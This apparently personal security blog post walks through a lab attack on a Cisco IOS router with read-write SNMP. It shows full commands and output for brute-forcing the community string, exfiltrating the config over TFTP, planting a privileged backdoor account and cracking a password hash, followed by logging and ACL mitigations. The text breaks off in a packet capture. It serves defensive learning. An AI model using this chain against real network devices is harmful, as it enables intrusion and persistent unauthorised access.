Cisco IOS-related CVEs get announced consistently, but we will not be exploring any of those in this article. I will, however, demonstrate that attacking a Cisco IOS device is possible with SNMP misconfiguration. If interested, I covered another attack on a Cisco IOS device running HSRP here.
I included this exercise on our Paradise Lost: Red Team versus Blue Team event during our CyberFest 2021. Unfortunately, only the blue team members touched this node. The red team focused on Windows, for the most part. Though, they managed to break into some Linux hosts as well.
It is the same festival where our Information Security Office (ISO) decided to hold their first internal Capture the Flag (CTF) event. If you are interested, I talked about my CTF experience here.
What is SNMP?
Simple Network Management Protocol (SNMP) is a widely used application layer protocol for device monitoring and management. IT professionals use it to get statistics like CPU utilization, temperature, fans, etc.
SNMP has become the de facto standard for network management because it is simple, easy to implement, and supported by nearly all vendors.
While there have been many iterations since inception, there are two versions that most organizations use today: version 2c and 3. The main difference between the two falls under security. Version 3 introduced strong authentication and data encryption.
Access modes
Cisco IOS provides two SNMP access modes: read-only (RO) and read-write (RW). As the name implies, read-only allows the SNMP manager, like Network Management System (NMS), to only retrieve information from the SNMP client, like Cisco router.
The read-write access mode allows the SNMP manager to retrieve information and set a variable or trigger an action on a managed device. While there are use cases to send configuration changes on a managed device via SNMP, it poses a potential vulnerability when this access mode is enabled. With that said, most, if not all, network engineers set their SNMP configuration to read-only.
Configuration
Authors of Cisco certification-focused books inform the readers of the dangers of enabling read-write access mode. That said, network engineers tend to avoid configuring it at all costs. There might be some unique use cases that they will consider read-write, but that is not very common.
While reading about the dangers of read-write is enough from a defender’s perspective, I have always wondered how adversaries perform the attacks. However, I was never curious enough at the time to look it up. Since I got exposed to OffSec in 2020 and have taken offensive security-related certifications, I have developed a curiosity and have a pretty good idea of how to perform them.
Related: Passed eJPT |
Without further ado, let’s take a closer look at performing an attack on a Cisco router running SNMP with read-write access mode. To configure the Cisco IOS device to run as an SNMP client, issue the command, as shown below.
awa# conf t Enter configuration commands, one per line. End with CNTL/Z. awa(config)# snmp-server community zxcvbn RW awa(config)# end awa# wr mem
Reconnaissance
Our adversaries can only launch an attack on our Cisco device if they know the SNMP community string. The community string in SNMP v1 and 2c serves as an authentication, thus must be treated as a password.
Adversaries could use dictionary attacks to obtain the SNMP community string. The problem with dictionary attacks is that it is loud. That means it can potentially trigger an alert.
Our adversaries have several tools that they can use to perform SNMP dictionary attacks during this active reconnaissance phase. We will look at a few of these tools available in Kali Linux.
The first step is to verify that the target Cisco IOS device runs SNMP. It can be as simple as running a Nmap scan, as shown below.
andrew@kali:~$ sudo nmap -sUV -p 161 172.20.27.254
andrew@kali:~$ sudo nmap -sUV -p 161 172.20.27.254 [sudo] password for andrew: Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-29 15:58 PST Nmap scan report for 172.20.27.254 Host is up (0.0087s latency). PORT STATE SERVICE VERSION 161/udp open snmp Cisco SNMP service; ciscoSystems SNMPv3 server Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 5.45 seconds
After verifying that the target is running SNMP, the next step is to launch a dictionary attack. We will explore multiple tools to perform this attack.
Nmap
Nmap has a built-in script that adversaries can use for the dictionary attack. If you are a Nmap user, you may have noticed it is a very slow tool in pretty much anything you perform. In this case, it took around 10 minutes to finish the dictionary attack.
andrew@kali:~$ sudo nmap -sU -p 161 --script=snmp-brute 172.20.27.254 --script-args snmp-brute.communitiesdb=/usr/share/wordlists/rockyou.txt
andrew@kali:~$ sudo nmap -sU -p 161 --script=snmp-brute 172.20.27.254 --script-args snmp-brute.communitiesdb=/usr/share/wordlists/rockyou.txt Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-29 16:23 PST NSE: [snmp-brute] communities: Time limit 10m00s exceeded. Nmap scan report for 172.20.27.254 Host is up (0.0071s latency). PORT STATE SERVICE 161/udp open snmp | snmp-brute: |_ zxcvbn - Valid credentials Nmap done: 1 IP address (1 host up) scanned in 614.05 seconds
Onesixtyone
Another scanner tool built-in to Kali is called Onesixtyone. This tool is faster than Nmap, as you can see below. Both of the tools accomplish the same thing from the dictionary attack standpoint.
andrew@kali:~$ time onesixtyone -c /usr/share/wordlists/rockyou.txt 172.20.27.254
andrew@kali:~$ time onesixtyone -c /usr/share/wordlists/rockyou.txt 172.20.27.254 Scanning 1 hosts, 16384 communities 172.20.27.254 [zxcvbn] Cisco IOS Software, CSR1000V Software (X86_64_LINUX_IOSD-UNIVERSALK9-M), Version 15.4(2)S3, RELEASE SOFTWARE (fc2) Technical Support: http://www.cisco.com/techsupport Copyright (c) 1986-2015 by Cisco Systems, Inc. Compiled Wed 01-Apr-15 09:27 by mcpre real 2m50.969s user 0m0.098s sys 0m0.431s
As you can see, this tool finished in about two minutes compared to Nmap’s 10-minute processing.
Hydra
Hydra is another tool that can perform a dictionary attack, also available in Kali. I have used Hydra for a few dictionary attacks in the past. If interested, I covered it here and here.
andrew@kali:~$ time hydra -P /usr/share/wordlists/seclists snmp://172.20.27.254 -v -f
andrew@kali:~$ time hydra -P /usr/share/wordlists/rockyou.txt snmp://172.20.27.254 -v -f Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-01-29 16:28:53 [DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task [DATA] attacking snmp://172.20.27.254:161/ [VERBOSE] Resolving addresses ... [VERBOSE] resolving done [STATUS] 128.00 tries/min, 128 tries in 00:01h, 14344271 to do in 1867:45h, 16 active [STATUS] 122.67 tries/min, 368 tries in 00:03h, 14344031 to do in 1948:56h, 16 active [161][snmp] host: 172.20.27.254 password: zxcvbn [STATUS] attack finished for 172.20.27.254 (valid pair found) 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-01-29 16:35:34 real 6m41.625s user 0m0.968s sys 0m0.264s
More tools
There are other tools available, like the Metasploit snmp_login module and Medusa. However, it seems that Onesixtyone is the fastest during my testing.
Detection
By default, Cisco IOS does not log this authentication failure. That said, there is no visibility for network engineers to detect this attack. Lack of log might not be a big deal for environments that have knowledgeable network engineers. It is because there is a way to mitigate or prevent this attack. More on that later.
Even though mitigation is available, adding the configuration to detect such attacks may still be a good practice. Some security professionals could argue that adversaries can compromise trusted hosts. Such hypothetical scenarios sometimes spark an argument between network and security professionals. But I digress.
To force the Cisco IOS device to log SNMP authentication failures, issue the command as shown below.
awa#conf t Enter configuration commands, one per line. End with CNTL/Z. awa(config)#logging snmp-authfail Logging of %SNMP-3-AUTHFAIL is enabled
When the Cisco IOS device detects SNMP authentication failure, a message will show up in the logs, as shown below.
Jan 29 17:55:28.659: %SNMP-3-AUTHFAIL: Authentication failure for SNMP req from host 10.11.11.3
Exploitation
The most evident attack that an adversary can perform is to change the device’s configuration. While it is understandable to take that approach, it might alert the networking team about the security breach. Of course, it will depend on the configuration changes and how good the monitoring is. Being undetected is usually adversaries’ goal, but it depends on their motivation.
Say, for example, if our adversaries want to cause a denial of service (DoS) attack, then they can choose to clear a device’s configuration. However, if our adversaries require persistence in the environment, then changing a line or a few on the config would be something they could do. In some cases, they may not need to.
Downloading configuration
Let’s explore how our adversaries can maintain persistence in our environment. First, they need to download the current device’s configuration. There are multiple tools that they can use to accomplish this task. We will explore some of them here.
Nmap
The trusty Nmap tool has a built-in script that one can use to download the device’s configuration. To download the device’s config, issue the command below.
andrew@kali:~$ sudo nmap -sU -p 161 --script snmp-ios-config --script-args creds.snmp=zxcvbn 172.20.27.254
andrew@kali:~$ sudo nmap -sU -p 161 --script snmp-ios-config --script-args creds.snmp=zxcvbn 172.20.27.254 Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-29 17:47 PST Nmap scan report for 172.20.27.254 Host is up (0.0050s latency). PORT STATE SERVICE 161/udp open snmp | snmp-ios-config: | ! | ! Last configuration change at 08:07:48 PDT Tue Oct 19 2021 by administrator | ! NVRAM config last updated at 08:10:33 PDT Tue Oct 19 2021 by administrator | ! | version 15.4 | service timestamps debug datetime msec | service timestamps log datetime msec | no platform punt-keepalive disable-kernel-core | platform console virtual | ! | hostname awa | ! | boot-start-marker | boot-end-marker | ! | ! | enable secret 5 $1$DtMQ$FwnZj7ojDvj8wrFbwtfED/ | ! | no aaa new-model | clock timezone PST -8 0 | clock summer-time PDT recurring | ! | ! | ! | ! | ! | ! | ! | ! | ! | | | ip domain name longboard.local | | ! | ! | ! | ! | ! | ! | ! | ! | ! | ! | subscriber templating | multilink bundle-name authenticated | ! | key chain hsrp | key 1 | key-string 7 130616060A000D242A | ! | ! | license udi pid CSR1000V sn 9FETLHPNAEM | ! | username administrator privilege 15 secret 5 $1$6Q3.$4AjrZn6l/hRkyr0okteEP/ | username cisco privilege 15 secret 5 $1$Jxkf$ieb7OASwfbcfSKDOrrXvl. | ! | redundancy | mode none | ! | ! | ! | ip ssh version 2 | ip scp server enable | ! | ! | ! | ! | interface GigabitEthernet1 | ip address 192.168.1.254 255.255.255.0 secondary | ip address 172.20.27.254 255.255.255.0 | standby 1 ip 172.20.27.253 | standby 1 authentication md5 key-chain hsrp | standby 2 ip 192.168.1.253 secondary | standby 2 authentication md5 key-string 7 06571F205E4F0D101612 | negotiation auto | ! | interface GigabitEthernet2 | ip address 172.20.80.1 255.255.255.0 | negotiation auto | ! | ! | virtual-service csr_mgmt | ! | ip forward-protocol nd | ! | ip http server | ip http authentication local | ip http secure-server | ip route 0.0.0.0 0.0.0.0 172.20.27.1 | ! | logging host 172.20.27.62 | ! | snmp-server community zxcvbn RW | ! | ! | control-plane | ! | ! | line con 0 | stopbits 1 | line vty 0 | password 7 0013164B05490E4B1B2949030A11041A0202030A39 | login | transport input telnet | line vty 1 | login local | length 0 | transport input ssh | line vty 2 4 | login local | transport input ssh | line vty 5 98 | login local | transport input ssh | ! | ntp source GigabitEthernet1 | ntp master 1 | ntp server 172.20.27.39 | ! |_end Nmap done: 1 IP address (1 host up) scanned in 5.56 seconds
Copy-Router-Config
Another tool available in Kali is the Copy-Router-Config by Offensive Security. The tool requires a TFTP service running on a machine to download the device’s configuration.
By default, Kali Linux does not have a TFTP server installed. I used Metasploit to launch a TFTP service to avoid installing one. Since the TFTP service uses well-known ports, you must include sudo
before launching Metasploit.
andrew@kali~:$ sudo msfconsole -q
andrew@kali:~$ sudo msfconsole -q msf6 > use auxiliary/server/tftp msf6 auxiliary(server/tftp) > run [*] Auxiliary module running as background job 0. [*] Starting TFTP server on 0.0.0.0:69... [*] Files will be served from /tmp [*] Uploaded files will be saved in /tmp
Once the TFTP service is up and running, you can now use the Copy-Router-Config tool to download the device’s configuration.
andrew@kali:~$ copy-router-config.pl 172.20.27.254 10.11.11.4 zxcvbn
andrew@kali:~$ copy-router-config.pl 172.20.27.254 10.11.11.4 zxcvbn 10.11.11.4:pwnd-router.config -> 172.20.27.254:running-config... OK andrew@kali:~$ cat /tmp/pwnd-router.config ! ! Last configuration change at 08:07:48 PDT Tue Oct 19 2021 by administrator ! NVRAM config last updated at 08:10:33 PDT Tue Oct 19 2021 by administrator ! version 15.4 service timestamps debug datetime msec service timestamps log datetime msec no platform punt-keepalive disable-kernel-core platform console virtual ! hostname awa ! boot-start-marker boot-end-marker ! ! enable secret 5 $1$DtMQ$FwnZj7ojDvj8wrFbwtfED/ ! no aaa new-model clock timezone PST -8 0 clock summer-time PDT recurring ! ! ! ! ! ! ! ! ! ip domain name longboard.local ! ! ! ! ! ! ! ! ! ! subscriber templating multilink bundle-name authenticated ! key chain hsrp key 1 key-string 7 130616060A000D242A ! ! license udi pid CSR1000V sn 9FETLHPNAEM ! username administrator privilege 15 secret 5 $1$6Q3.$4AjrZn6l/hRkyr0okteEP/ username cisco privilege 15 secret 5 $1$Jxkf$ieb7OASwfbcfSKDOrrXvl. ! redundancy mode none ! ! ! ip ssh version 2 ip scp server enable ! ! ! ! interface GigabitEthernet1 ip address 192.168.1.254 255.255.255.0 secondary ip address 172.20.27.254 255.255.255.0 standby 1 ip 172.20.27.253 standby 1 authentication md5 key-chain hsrp standby 2 ip 192.168.1.253 secondary standby 2 authentication md5 key-string 7 06571F205E4F0D101612 negotiation auto ! interface GigabitEthernet2 ip address 172.20.80.1 255.255.255.0 negotiation auto ! ! virtual-service csr_mgmt ! ip forward-protocol nd ! ip http server ip http authentication local ip http secure-server ip route 0.0.0.0 0.0.0.0 172.20.27.1 ! logging host 172.20.27.62 ! snmp-server community zxcvbn RW ! ! control-plane ! ! line con 0 stopbits 1 line vty 0 password 7 0013164B05490E4B1B2949030A11041A0202030A39 login transport input telnet line vty 1 login local length 0 transport input ssh line vty 2 4 login local transport input ssh line vty 5 98 login local transport input ssh ! ntp source GigabitEthernet1 ntp master 1 ntp server 172.20.27.39 ! end
Metasploit
Metasploit has a lot of modules, so it was not a surprise to see that it has one to download the configuration. We need to follow two steps to download our target’s config.
The first step is to launch Metasploit. Since it requires a TFTP service, we need to run it as root.
andrew@kali:~$ sudo msfconsole -q
andrew@kali:~$ sudo msfconsole -q msf6 >
Then, select, configure, and run the Cisco IOS SNMP Configuration Grabber module.
msf6 > use auxiliary/scanner/snmp/cisco_config_tftp
msf6 > use auxiliary/scanner/snmp/cisco_config_tftp msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set community zxcvbn community => zxcvbn msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set rhost 172.20.27.254 rhost => 172.20.27.254 msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set outputdir /home/andrew outputdir => /home/andrew msf6 auxiliary(scanner/snmp/cisco_config_tftp) > run [*] Starting TFTP server... [*] Scanning for vulnerable targets... [*] Trying to acquire configuration from 172.20.27.254... [*] Scanned 1 of 1 hosts (100% complete) [*] Providing some time for transfers to complete... [*] Incoming file from 172.20.27.254 - 172.20.27.254.txt 3593 bytes [*] Saved configuration file to /home/andrew/172.20.27.254.txt [*] Shutting down the TFTP service... [*] Auxiliary module execution completed
Once Metasploit is done copying the configuration, we can now display the file.
msf6 auxiliary(scanner/snmp/cisco_config_tftp) > cat 172.20.27.254.txt
msf6 auxiliary(scanner/snmp/cisco_config_tftp) > cat 172.20.27.254.txt [*] exec: cat 172.20.27.254.txt ! ! Last configuration change at 08:07:48 PDT Tue Oct 19 2021 by administrator ! NVRAM config last updated at 08:10:33 PDT Tue Oct 19 2021 by administrator ! version 15.4 service timestamps debug datetime msec service timestamps log datetime msec no platform punt-keepalive disable-kernel-core platform console virtual ! hostname awa ! boot-start-marker boot-end-marker ! ! enable secret 5 $1$DtMQ$FwnZj7ojDvj8wrFbwtfED/ ! no aaa new-model clock timezone PST -8 0 clock summer-time PDT recurring ! ! ! ! ! ! ! ! ! ip domain name longboard.local ! ! ! ! ! ! ! ! ! ! subscriber templating multilink bundle-name authenticated ! key chain hsrp key 1 key-string 7 130616060A000D242A ! ! license udi pid CSR1000V sn 9FETLHPNAEM ! username administrator privilege 15 secret 5 $1$6Q3.$4AjrZn6l/hRkyr0okteEP/ username cisco privilege 15 secret 5 $1$Jxkf$ieb7OASwfbcfSKDOrrXvl. ! redundancy mode none ! ! ! ip ssh version 2 ip scp server enable ! ! ! ! interface GigabitEthernet1 ip address 192.168.1.254 255.255.255.0 secondary ip address 172.20.27.254 255.255.255.0 standby 1 ip 172.20.27.253 standby 1 authentication md5 key-chain hsrp standby 2 ip 192.168.1.253 secondary standby 2 authentication md5 key-string 7 06571F205E4F0D101612 negotiation auto ! interface GigabitEthernet2 ip address 172.20.80.1 255.255.255.0 negotiation auto ! ! virtual-service csr_mgmt ! ip forward-protocol nd ! ip http server ip http authentication local ip http secure-server ip route 0.0.0.0 0.0.0.0 172.20.27.1 ! logging host 172.20.27.62 ! snmp-server community zxcvbn RW ! ! control-plane ! ! line con 0 stopbits 1 line vty 0 password 7 0013164B05490E4B1B2949030A11041A0202030A39 login transport input telnet line vty 1 login local length 0 transport input ssh line vty 2 4 login local transport input ssh line vty 5 98 login local transport input ssh ! ntp source GigabitEthernet1 ntp master 1 ntp server 172.20.27.39 ! end
Uploading configuration
With the configuration file downloaded, adversaries can insert anything they want and upload the file back to the target device. For example, they can add an account to maintain persistence. Depending on the device’s configuration, they may also need to change the authentication order to allow local accounts. In this scenario, we are only using a local account database.
Since the device uses the local account database, our adversaries will only need to issue a line of code. Before modifying the configuration file, they need to prepare a salted MD5 hash for the account. They can do this using the OpenSSL tool, as shown below.
andrew@kali:~$ openssl passwd -salt `openssl rand -base64 3` -1 "password" $1$XgcT$gJE82eLsJkIAnuR3w.MeV/
Merge-Router-Config
Once they have the MD5 hash, they can edit the file using their favorite text editor to insert the configuration below.
andrew@kali:~$ grep hacker /tmp/pwnd-router.config username hacker privilege 15 secret 5 $1$XgcT$gJE82eLsJkIAnuR3w.MeV/
Then, they can use the Merge-Router-Config tool to upload the modified configuration. It is essentially the partner of the Copy-Router-Config we saw earlier.
This tool requires a TFTP server to upload the configuration to the target device. We will use Metasploit again in this example to avoid installing a TFTP server package.
andrew@kali:~$ sudo msfconsole -q
andrew@kali:~$ sudo msfconsole -q msf6 > use auxiliary/server/tftp msf6 auxiliary(server/tftp) > run [*] Auxiliary module running as background job 0. [*] Starting TFTP server on 0.0.0.0:69... [*] Files will be served from /tmp [*] Uploaded files will be saved in /tmp msf6 auxiliary(server/tftp) >
Once the TFTP service is up and running, they can now upload the configuration using Merge-Router-Config, as shown below.
andrew@kali:~$ merge-router-config.pl 172.20.27.254 10.11.11.4 zxcvbn
andrew@kali:~$ merge-router-config.pl 172.20.27.254 10.11.11.4 zxcvbn 10.11.11.4:pwnd-router.config -> 172.20.27.254:running-config... OK
Now, we can use the account that we added to the configuration to log into the target device.
andrew@kali:~$ ssh hacker@172.20.27.254
andrew@kali:~$ ssh hacker@172.20.27.254 _ | | _ ____ ___ __ ___ __| | | '_ \ \ /\ / / '_ \ / _ \/ _` | | |_) \ V V /| | | | __/ (_| | | .__/ \_/\_/ |_|_|_|\___|\__,_| | | | | |_|__ ___ _ _| |_ ___ _ __ | '__/ _ \| | | | __/ _ \ '__| | | | (_) | |_| | || __/ | |_| \___/ \__,_|\__\___|_| (hacker@172.20.27.254) Password: awa#sh run | i hacker username hacker privilege 15 secret 5 $1$XgcT$gJE82eLsJkIAnuR3w.MeV/ awa#
Note
The original device configuration did not have the login banner, but I added it to show we compromised it.
Metasploit
You guessed it! Metasploit also has a partner module for the Cisco IOS SNMP Configuration Grabber called Cisco IOS SNMP File Upload. Essentially, the steps are similar to Merge-Router-Config.
The first thing to do is edit the configuration file with the desired changes.
andrew@kali:~$ grep hacker 172.20.27.254.txt
andrew@kali:~$ grep hacker 172.20.27.254.txt username hacker privilege 15 secret 5 $1$XgcT$gJE82eLsJkIAnuR3w.MeV/
Then the last step is to select and configure the Cisco IOS SNMP File Upload module.
msf6 auxiliary(server/tftp) > use auxiliary/scanner/snmp/cisco_upload_file
msf6 auxiliary(server/tftp) > use auxiliary/scanner/snmp/cisco_upload_file msf6 auxiliary(scanner/snmp/cisco_upload_file) > set community zxcvbn community => zxcvbn msf6 auxiliary(scanner/snmp/cisco_upload_file) > set lhost 10.11.11.4 lhost => 10.11.11.4 msf6 auxiliary(scanner/snmp/cisco_upload_file) > set rhost 172.20.27.254 rhost => 172.20.27.254 msf6 auxiliary(scanner/snmp/cisco_upload_file) > set source /home/andrew/172.20.27.254.txt source => /home/andrew/172.20.27.254.txt msf6 auxiliary(scanner/snmp/cisco_upload_file) > set action Override_Config action => Override_Config msf6 auxiliary(scanner/snmp/cisco_upload_file) > run [*] Starting TFTP server... [*] Copying file 172.20.27.254.txt to 172.20.27.254... [*] Scanned 1 of 1 hosts (100% complete) [*] Providing some time for transfers to complete... [*] Shutting down the TFTP service... [*] Auxiliary module execution completed
Other tool
The snmpset
command is another useful tool to upload the configuration. However, it is not as easy as the tools covered above. But, if you would like to take it to a spin, try using this Cisco guide. You can also read up on Cisco’s MIB. Additionally, you can capture the packets as you download the device’s configuration using Nmap. From there, you can match it up using the documentation.
andrew@kali:~$ sudo tcpdump -nni tun0 host 172.20.27.254
andrew@kali:~$ sudo tcpdump -nni tun0 host 172.20.27.254 tcpdump: verbose output suppressed, use -v[v]... for full protocol decode listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes 22:48:56.498086 IP 10.11.11.4 > 172.20.27.254: ICMP echo request, id 34561, seq 0, length 8 22:48:56.498139 IP 10.11.11.4.43320 > 172.20.27.254.443: Flags [S], seq 3767667122, win 1024, options [mss 1460], length 0 22:48:56.498189 IP 10.11.11.4.43320 > 172.20.27.254.80: Flags [.], ack 3767667122, win 1024, length 0 22:48:56.498218 IP 10.11.11.4 > 172.20.27.254: ICMP time stamp query id 39307 seq 0, length 20 22:48:56.507234 IP 172.20.27.254 > 10.11.11.4: ICMP time stamp reply id 39307 seq 0: org 00:00:00.000, recv 06:55:31.591, xmit 06:55:31.591, length 20 22:48:56.515397 IP 10.11.11.4.43576 > 172.20.27.254.161: F=r U="" E= C="" GetRequest(12) 22:48:56.515438 IP 10.11.11.4.43576 > 172.20.27.254.161: GetNextRequest(18) .0.0 22:48:56.522226 IP 172.20.27.254.161 > 10.11.11.4.43576: F= U="" E=_80_00_00_09_03_00_86_dc_e7_24_d3_87 C="" Report(29) .1.3.6.1.6.3.15.1.1.4.0=1 22:48:56.522246 IP 10.11.11.4 > 172.20.27.254: ICMP 10.11.11.4 udp port 43576 unreachable, length 139 22:48:56.522705 IP 10.11.11.4.59743 > 172.20.27.254.161: C="zxcvbn" SetRequest(35) .1.3.6.1.4.1.9.9.96.1.1.1.1.2.9999=1 22:48:56.528268 IP 172.20.27.254.161 > 10.11.11.4.59743: C="zxcvbn" GetResponse(35) .1.3.6.1.4.1.9.9.96.1.1.1.1.2.9999=1 22:48:56.528385 IP 10.11.11.4.59743 > 172.20.27.254.161: C="zxcvbn" SetRequest(34) .1.3.6.1.4.1.9.9.96.1.1.1.1.3.9999=4 22:48:56.532065 IP 172.20.27.254.161 > 10.11.11.4.59743: C="zxcvbn" GetResponse(34) .1.3.6.1.4.1.9.9.96.1.1.1.1.3.9999=4 22:48:56.532164 IP 10.11.11.4.59743 > 172.20.27.254.161: C="zxcvbn" SetRequest(34) .1.3.6.1.4.1.9.9.96.1.1.1.1.4.9999=1 22:48:56.537058 IP 172.20.27.254.161 > 10.11.11.4.59743: C="zxcvbn" GetResponse(34) .1.3.6.1.4.1.9.9.96.1.1.1.1.4.9999=1 22:48:56.537174 IP 10.11.11.4.59743 > 172.20.27.254.161: C="zxcvbn" SetRequest(49) .1.3.6.1.4.1.9.9.96.1.1.1.1.5.9999=[len16
Password cracking
While modifying the configuration on the target Cisco IOS device works, it may trigger an alert to the SOC or networking team. Of course, it assumes that someone in the organization implemented it.
Related: Securing Cisco IOS passwords |
Another way that our adversaries could maintain some level of persistence is by cracking the passwords, which I covered here. The disadvantage of cracking passwords is that there is no guarantee that it will be successful. In this case, using the RockYou wordlist was successful.
andrew@kali~:$ hashcat -m 500 -a 0 '$1$Jxkf$ieb7OASwfbcfSKDOrrXvl.' /usr/share/wordlists/rockyou.txt
andrew@kali:~$ hashcat -m 500 -a 0 '$1$Jxkf$ieb7OASwfbcfSKDOrrXvl.' /usr/share/wordlists/rockyou.txt hashcat (v6.2.5) starting OpenCL API (OpenCL 2.0 pocl 1.8 Linux, None+Asserts, RELOC, LLVM 11.1.0, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project] ===================================================================================================================================== * Device #1: pthread-Intel(R) Core(TM) i7-10710U CPU @ 1.10GHz, 1441/2947 MB (512 MB allocatable), 1MCU Minimum password length supported by kernel: 0 Maximum password length supported by kernel: 256 Hashes: 1 digests; 1 unique digests, 1 unique salts Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates Rules: 1 Optimizers applied: * Zero-Byte * Single-Hash * Single-Salt ATTENTION! Pure (unoptimized) backend kernels selected. Pure kernels can crack longer passwords, but drastically reduce performance. If you want to switch to optimized kernels, append -O to your commandline. See the above message to find out about the exact limits. Watchdog: Temperature abort trigger set to 90c Host memory required for this attack: 0 MB Dictionary cache hit: * Filename..: /usr/share/wordlists/rockyou.txt * Passwords.: 14344385 * Bytes.....: 139921507 * Keyspace..: 14344385 $1$Jxkf$ieb7OASwfbcfSKDOrrXvl.:catalina Session..........: hashcat Status...........: Cracked Hash.Mode........: 500 (md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)) Hash.Target......: $1$Jxkf$ieb7OASwfbcfSKDOrrXvl. Time.Started.....: Sat Jan 29 18:35:58 2022 (1 sec) Time.Estimated...: Sat Jan 29 18:35:59 2022 (0 secs) Kernel.Feature...: Pure Kernel Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 2334 H/s (9.85ms) @ Accel:64 Loops:1000 Thr:1 Vec:8 Recovered........: 1/1 (100.00%) Digests Progress.........: 1024/14344385 (0.01%) Rejected.........: 0/1024 (0.00%) Restore.Point....: 960/14344385 (0.01%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1000 Candidate.Engine.: Device Generator Candidates.#1....: marie1 -> bethany Hardware.Mon.#1..: Util:100% Started: Sat Jan 29 15:35:56 2022 Stopped: Sat Jan 29 15:36:01 2022
Mitigation
Fortunately, Cisco IOS has configuration parameters to mitigate this attack. Two Cisco IOS configuration lines can mitigate this attack. One of them is what I have seen in Cisco Press books. The other, I never saw it on any of the Cisco Press books I have read.
SNMP TFTP ACL
Let’s explore the one I had not seen in Cisco Press books. The snmp-server tftp-server-list
allows the user to apply an access control list (ACL) to the SNMP TFTP server tasks. It includes downloading and uploading the configuration file to the device.
As we have seen earlier, all the tools used the TFTP server to download and upload. Applying an ACL restricts specific hosts that can perform these tasks.
To configure the SNMP TFTP ACL, please issue the commands listed below.
awa# conf t
awa#conf t Enter configuration commands, one per line. End with CNTL/Z. awa(config)#access-list 1 permit host 10.11.11.1 awa(config)#snmp-server tftp-server-list 1 awa(config)#end awa#wr Building configuration... [OK]
With the ACL applied, both copy-router-config and merge-router-config failed to complete the task.
andrew@kali:~$ copy-router-config.pl 172.20.27.254 10.11.11.4 zxcvbn; merge-router-config.pl 172.20.27.254 10.11.11.4 zxcvbn
andrew@kali:~$ copy-router-config.pl 172.20.27.254 10.11.11.4 zxcvbn; merge-router-config.pl 172.20.27.254 10.11.11.4 zxcvbn 10.11.11.4:pwnd-router.config -> 172.20.27.254:running-config... No response from remote host "172.20.27.254" at /usr/bin/copy-router-config.pl line 34. 10.11.11.4:pwnd-router.config -> 172.20.27.254:running-config... No response from remote host "172.20.27.254" at /usr/bin/merge-router-config.pl line 32.
SNMP community string ACL
As previously mentioned, this is the one that most authors discussed in Cisco Press books, and for a good reason. It is, after all, best practice to apply ACL to the community strings.
The main difference between this and the previous configuration is how the Cisco IOS device handles the request. With the community string ACL, the Cisco IOS device will not respond to requests from hosts not part of the list. If you take a look at the packet capture below, the target Cisco IOS router did not respond at all.
andrew@kali:~$ sudo tcpdump -nni tun0 host 172.20.27.254
andrew@kali:~$ sudo tcpdump -nni tun0 host 172.20.27.254 tcpdump: verbose output suppressed, use -v[v]... for full protocol decode listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes 23:40:05.731523 IP 10.11.11.4.51146 > 172.20.27.254.161: C="zxcvbn" SetRequest(179) .1.3.6.1.4.1.9.9.96.1.1.1.1.2.3388843=1 .1.3.6.1.4.1.9.9.96.1.1.1.1.3.3388843=4 .1.3.6.1.4.1.9.9.96.1.1.1.1.4.3388843=1 .1.3.6.1.4.1.9.9.96.1.1.1.1.5.3388843=10.11.11.4 .1.3.6.1.4.1.9.9.96.1.1.1.1.6.3388843="pwnd-router.config" .1.3.6.1.4.1.9.9.96.1.1.1.1.14.3388843=4 23:40:07.734179 IP 10.11.11.4.51146 > 172.20.27.254.161: C="zxcvbn" SetRequest(179) .1.3.6.1.4.1.9.9.96.1.1.1.1.2.3388843=1 .1.3.6.1.4.1.9.9.96.1.1.1.1.3.3388843=4 .1.3.6.1.4.1.9.9.96.1.1.1.1.4.3388843=1 .1.3.6.1.4.1.9.9.96.1.1.1.1.5.3388843=10.11.11.4 .1.3.6.1.4.1.9.9.96.1.1.1.1.6.3388843="pwnd-router.config" .1.3.6.1.4.1.9.9.96.1.1.1.1.14.3388843=4 23:40:09.736730 IP 10.11.11.4.51146 > 172.20.27.254.161: C="zxcvbn" SetRequest(179) .1.3.6.1.4.1.9.9.96.1.1.1.1.2.3388843=1 .1.3.6.1.4.1.9.9.96.1.1.1.1.3.3388843=4 .1.3.6.1.4.1.9.9.96.1.1.1.1.4.3388843=1 .1.3.6.1.4.1.9.9.96.1.1.1.1.5.3388843=10.11.11.4 .1.3.6.1.4.1.9.9.96.1.1.1.1.6.3388843="pwnd-router.config" .1.3.6.1.4.1.9.9.96.1.1.1.1.14.3388843=4 23:40:17.092099 IP 10.11.11.4.54365 > 172.20.27.254.161: C="zxcvbn" SetRequest(173) .1.3.6.1.4.1.9.9.96.1.1.1.1.2.822852=1 .1.3.6.1.4.1.9.9.96.1.1.1.1.3.822852=1 .1.3.6.1.4.1.9.9.96.1.1.1.1.5.822852=10.11.11.4 .1.3.6.1.4.1.9.9.96.1.1.1.1.6.822852="pwnd-router.config" .1.3.6.1.4.1.9.9.96.1.1.1.1.4.822852=4 .1.3.6.1.4.1.9.9.96.1.1.1.1.14.822852=4 23:40:19.094722 IP 10.11.11.4.54365 > 172.20.27.254.161: C="zxcvbn" SetRequest(173) .1.3.6.1.4.1.9.9.96.1.1.1.1.2.822852=1 .1.3.6.1.4.1.9.9.96.1.1.1.1.3.822852=1 